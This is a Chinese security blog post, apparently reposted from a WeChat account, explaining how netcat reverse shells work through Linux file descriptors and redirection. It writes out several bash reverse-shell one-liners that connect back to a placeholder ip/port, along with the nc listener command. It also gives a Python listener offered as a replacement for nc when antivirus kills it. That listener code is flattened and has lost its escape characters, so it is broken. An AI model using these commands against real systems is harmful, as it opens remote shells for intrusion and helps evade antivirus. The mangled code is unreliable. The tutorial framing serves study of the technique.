你真的理解NC反弹SHELL原理么?

admin 2024年2月17日00:55:24评论6 views字数 2518阅读8分23秒阅读模式

Linux中的文件描述符

别人说当一个进程运行起来默认有三个文件描述符0:标准输入、1:标准输出、2:标准错误。实际上是在Linux中每个新的进程都是通过父进程fork函数fork出来的。会继承父类的普通文件描述符,这里很多人不理解,为什么我看到父类的文件描述符那么多,我并没有完全继承?特殊的文件描述符是不会被继承的,比如:管道、套接字、设备等。

你真的理解NC反弹SHELL原理么?

文件描述符就是这些已经打开的文件的索引,一般情况下新进程存在三个文件描述符:0标准输入、1标准输出、2标准错误,再打开新的文件将会从3开始排序...

0  :表示stdin标准输入
1  :表示stdout标准输出
2  :表示stderr标准错误

重定向符

<  :表示输入重定向
>  :表示输出重定向
命令>文件:表示将标准输出重定向到文件
命令<文件:表示将标准输入重定向到文件

NC反弹Shell

命令讲解

服务器端,nc监听端口port

nc -lvvp port

bash -i:交互式shell

>&:将标准输出和标准错误绑定,重定向到文件描述符

/dev/tcp/ip/port:建立tcp连接,用文件描述符来标识

0>&1:标准输入和标准输出结合(0<&1同理,也是将两者结合)使得二者指向同一文件描述符

bash -i >& /dev/tcp/ip/port 0>&1#这里将/dev/tcp/ip/port创建的套接字描述符称为tfd

建立一个交互式Shell,将标准输出描述符指向/dev/tcp/ip/port建立连接,连接建立成功得到tfd放入到文件描述符列表中。并将标准输出和标准错误指向到tfd,并将标准输入指向到标准输出指向的位置,也变成了,标准输入也指向了tfd。于是本该输出到终端的数据转向到tfd,服务端就会收到数据。由于标准输入也重定向到tfd,也就是在服务端发送过来的数据,会被带入进程的输入处理中。

下面是NC反弹shell的操作。

你真的理解NC反弹SHELL原理么?

同理可得:bash -i >& /dev/tcp/ip/port 0>&1bash -i < /dev/tcp/ip/port 1<&0 2<&0等价

< 将标准输入重定向到/dev/tcp/ip/port,1<&0 2<&0 将标准输出和标准错误与标准输入结合,所以标准输出和标准错误实际上也是重定向到/dev/tcp/ip/port

你真的理解NC反弹SHELL原理么?

那标准输入和标准输出之间是否有关系?

举个例子:

分别在服务端ip/port1和ip/port2建立监听,通过客户端建立两个连接/dev/tcp/ip/port1/dev/tcp/ip/port2

>&将标准输出和标准错误重定向到/dev/tcp/ip/port1,0</dev/tcp/ip/port2将标准输入重定向到/dev/tcp/ip/port2即在ip/port2中输入命令,经过客户端的bash执行之后会在ip/port1中输出

客户端命令:

bash -i >& /dev/tcp/ip/port1 0</dev/tcp/ip/port2

建立连接,将标准输入重定向到54336,标准输出和标准错误重定向到54335,在54336输入命令,作为标准输入传到客户端,客户端bash执行之后将标准输出和标准错误重定向给54335。所以实际上输出和输入是独立的。但是我思考了一下为什么会下面这个问题?

#为什么会把下面这个也反弹回来?root@arvin:/home/arvin/Desktop##解答是因为bash将这一部分认为是标准错误。所以会输出到屏幕,举个例子:只把标准错误进行重定向

你真的理解NC反弹SHELL原理么?

NC在反弹shell的过程只充当什么角色

在上面的讲解后,好像反弹shell就和NC没什么关系。那么在我们遇到NC被杀软杀掉的时候,我们是该怎么处理的呢?答案很简单,自写TCPSocketServer,当我们用脚本起一个监听端口,收发数据的服务。

import socket #导入库import threadingimport timedef TCPServer(ip="0.0.0.0",port=54335):   server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)   server.bind((ip,port))   server.listen(5)   print("[*] Listen on %s:%d"%(ip,port))   def chuli(a):       a.send("whoamin".encode())       time.sleep(0.2)       requst=a.recv(1024).decode() #获取信息       cmdOkStr=requst.split("n")       cmdLine=cmdOkStr[2]       while 1:           print(cmdLine,end="")           cmdstr=input()+"n"           if(cmdstr=="n" or cmdstr==None):               continue           else:               a.send(cmdstr.encode())               time.sleep(0.2)               requst=a.recv(1024).decode() #获取信息               cmdOkStr=requst.split("n")               cmdLine=cmdOkStr[2]               result=cmdOkStr[1]               print("n"+result)           #print(cmdOkStr)#打印信息#a.close() #关闭与客户端的链接   while True:       client,addr=server.accept() #如果有客户端链接       print("[*]成功建立连接于 %s:%d" % (addr[0],addr[1]))       handler=threading.Thread(target=chuli,args=(client,)) #开启线程处理连接       handler.start()try:   TCPServer()except Exception as e:   print("[*]Error!",e)

你真的理解NC反弹SHELL原理么?

在NC反弹Shell过程中NC不过作为一个服务端,向客户端发送数据,数据流走向到bash -i的标准输入,在通过bash -i的标准输出返回到我们服务,以实现反弹Shell的功能。

原文始发于微信公众号(网络安保):你真的理解NC反弹SHELL原理么?

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月17日00:55:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   你真的理解NC反弹SHELL原理么?http://cn-sec.com/archives/2218042.html

发表评论

匿名网友 填写信息